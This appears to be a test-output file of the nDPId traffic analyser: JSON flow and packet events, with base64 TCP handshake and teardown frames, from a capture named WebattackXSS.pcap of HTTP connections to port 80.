+00433{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347060,"pkt_ts_usec":177441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TeJAAD4Gd\/asEAABwKgKMs\/IAFAgqg\/gOyPPooAQAOWYcwAAAQEICgE5Qj8D4xO1"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":812,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1499347061452,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53206,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347061,"pkt_ts_usec":452043,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89\/VAAD4GzdqsEAABwKgKMs\/WAFCNxbSIAAAAAKACchAH2QAAAgQFtAQCCAoBOUN9AAAAAAEDAwc="} +00442{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347061,"pkt_ts_usec":452171,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz9aoZTRrjcW0iaAScSATEAAAAgQFtAQCCAoD4xT0ATlDfQEDAwc="} +00432{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":814,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347061,"pkt_ts_usec":452982,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09\/ZAAD4GzeGsEAABwKgKMs\/WAFCNxbSJqGU0bIAQAOWyFgAAAQEICgE5Q34D4xT0"} +00431{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":818,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347061,"pkt_ts_usec":625322,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GM5AAD4GrQqsEAABwKgKMs+gAFAIRCaz0snND4ARAOUHcQAAAQEICgE5Q6kD4w\/0"} +00430{"flow_id":54,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347061,"pkt_ts_usec":625565,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02BBAAEAG68fAqAoyrBAAAQBQz6DSyc0PCEQmtIARAOMCRwAAAQEICgPjFR8BOUOp"} +00430{"flow_id":54,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347061,"pkt_ts_usec":626282,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GM9AAD4GrQmsEAABwKgKMs+gAFAIRCa00snNEIAQAOUCRQAAAQEICgE5Q6kD4xUf"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":824,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1499347062740,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347062,"pkt_ts_usec":740557,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/9NAAD4GxfysEAABwKgKMs\/kAFBs1rtsAAAAAKACchAglAAAAgQFtAQCCAoBOUS\/AAAAAAEDAwc="} +00442{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347062,"pkt_ts_usec":740683,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz+TKmKvobNa7baAScSCQ2AAAAgQFtAQCCAoD4xY2ATlEvwEDAwc="} +00432{"flow_id":58,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347062,"pkt_ts_usec":741420,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/9RAAD4GxgOsEAABwKgKMs\/kAFBs1rttypir6YAQAOUv3wAAAQEICgE5RMAD4xY2"} +00431{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":830,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347063,"pkt_ts_usec":626011,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yDNAAD4G\/aSsEAABwKgKMs+uAFAuuffxtobmJYARAOUPpAAAAQEICgE5RZ0D4xE4"} +00430{"flow_id":55,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":831,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347063,"pkt_ts_usec":626235,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08TFAAEAG0qbAqAoyrBAAAQBQz662huYlLrn38oARAOMJyQAAAQEICgPjFxQBOUWd"} +00431{"flow_id":55,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347063,"pkt_ts_usec":626966,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yDRAAD4G\/aOsEAABwKgKMs+uAFAuuffytobmJoAQAOUJxwAAAQEICgE5RZ0D4xcU"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":842,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1499347065288,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53246,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":842,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347065,"pkt_ts_usec":288069,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8t0lAAD4GDoesEAABwKgKMs\/+AFBdePB1AAAAAKACchD4UQAAAgQFtAQCCAoBOUc8AAAAAAEDAwc="} +00443{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":843,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347065,"pkt_ts_usec":288232,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz\/602CZHXXjwdqAScSABewAAAgQFtAQCCAoD4xizATlHPAEDAwc="} +00431{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347065,"pkt_ts_usec":288646,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t0pAAD4GDo6sEAABwKgKMs\/+AFBdePB2tNgmSIAQAOWggQAAAQEICgE5Rz0D4xiz"} +00433{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347065,"pkt_ts_usec":627018,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TeNAAD4Gd\/WsEAABwKgKMs\/IAFAgqg\/gOyPPooARAOWTIAAAAQEICgE5R5ED4xO1"} +00430{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":849,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347065,"pkt_ts_usec":627238,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA01qpAAEAG7S3AqAoyrBAAAQBQz8g7I8+iIKoP4YARAOONzgAAAQEICgPjGQgBOUeR"} +00433{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347065,"pkt_ts_usec":627947,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TeRAAD4Gd\/SsEAABwKgKMs\/IAFAgqg\/hOyPPo4AQAOWNzAAAAQEICgE5R5ED4xkI"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":854,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1499347066560,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53260,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347066,"pkt_ts_usec":560105,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8zkNAAD4G94ysEAABwKgKMtAMAFBP5YY5AAAAAKACchBu1QAAAgQFtAQCCAoBOUh6AAAAAAEDAwc="} +00443{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347066,"pkt_ts_usec":560228,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0Ax\/i5rPT+WGOqAScSA3hQAAAgQFtAQCCAoD4xnxATlIegEDAwc="} +00430{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":856,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347066,"pkt_ts_usec":560976,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zkRAAD4G95OsEAABwKgKMtAMAFBP5YY6f4ua0IAQAOXWiwAAAQEICgE5SHsD4xnx"} +00432{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":860,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347066,"pkt_ts_usec":628433,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09\/dAAD4GzeCsEAABwKgKMs\/WAFCNxbSJqGU0bIARAOWtCAAAAQEICgE5SIsD4xT0"} +00430{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347066,"pkt_ts_usec":628683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Lm5AAEAGlWrAqAoyrBAAAQBQz9aoZTRsjcW0ioARAOOn+wAAAQEICgPjGgIBOUiL"} +00432{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347066,"pkt_ts_usec":629418,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09\/hAAD4Gzd+sEAABwKgKMs\/WAFCNxbSKqGU0bYAQAOWn+AAAAQEICgE5SIwD4xoC"} +00432{"flow_id":58,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":869,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347068,"pkt_ts_usec":629041,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/9VAAD4GxgKsEAABwKgKMs\/kAFBs1rttypir6YARAOUqHgAAAQEICgE5SoAD4xY2"} +00431{"flow_id":58,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":870,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347068,"pkt_ts_usec":629253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0sB9AAEAGE7nAqAoyrBAAAQBQz+TKmKvpbNa7boARAOMkXwAAAQEICgPjG\/YBOUqA"} +00432{"flow_id":58,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347068,"pkt_ts_usec":629839,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/9ZAAD4GxgGsEAABwKgKMs\/kAFBs1rtuypir6oAQAOUkXQAAAQEICgE5SoAD4xv2"} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":6,"flow_first_seen":1499346994731,"flow_last_seen":1499347000612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52508,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":6,"flow_first_seen":1499346994731,"flow_last_seen":1499347000612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1499346997314,"flow_last_seen":1499347002612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52534,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1499346997314,"flow_last_seen":1499347002612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52534,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":6,"flow_first_seen":1499346998578,"flow_last_seen":1499347003612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52548,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":6,"flow_first_seen":1499346998578,"flow_last_seen":1499347003612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52548,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":6,"flow_first_seen":1499347001111,"flow_last_seen":1499347006612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52574,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":6,"flow_first_seen":1499347001111,"flow_last_seen":1499347006612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52574,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":6,"flow_first_seen":1499347002399,"flow_last_seen":1499347007612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52588,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":872,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":6,"flow_first_seen":1499347002399,"flow_last_seen":1499347007612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52588,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":875,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1499347069146,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53286,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":875,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347069,"pkt_ts_usec":146742,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8xkJAAD4G\/42sEAABwKgKMtAmAFBk4I1DAAAAAKACchBQLwAAAgQFtAQCCAoBOUsBAAAAAAEDAwc="} +00442{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":876,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347069,"pkt_ts_usec":146870,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0CYp21tPZOCNRKAScSCriAAAAgQFtAQCCAoD4xx4ATlLAQEDAwc="} +00431{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347069,"pkt_ts_usec":147622,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0xkNAAD4G\/5SsEAABwKgKMtAmAFBk4I1EKdtbUIAQAOVKkAAAAQEICgE5SwED4xx4"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":884,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1499347070422,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53300,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347070,"pkt_ts_usec":422420,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83flAAD4G59asEAABwKgKMtA0AFCnyZG5AAAAAKACchAHgwAAAgQFtAQCCAoBOUxAAAAAAAEDAwc="} +00442{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347070,"pkt_ts_usec":422551,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0DQuPoKZp8mRuqAScSA18AAAAgQFtAQCCAoD4x23ATlMQAEDAwc="} +00430{"flow_id":62,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347070,"pkt_ts_usec":423319,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03fpAAD4G592sEAABwKgKMtA0AFCnyZG6Lj6CmoAQAOXU9wAAAQEICgE5TEAD4x23"} +00431{"flow_id":59,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":890,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347070,"pkt_ts_usec":630363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t0tAAD4GDo2sEAABwKgKMs\/+AFBdePB2tNgmSIARAOWbSQAAAQEICgE5THQD4xiz"} 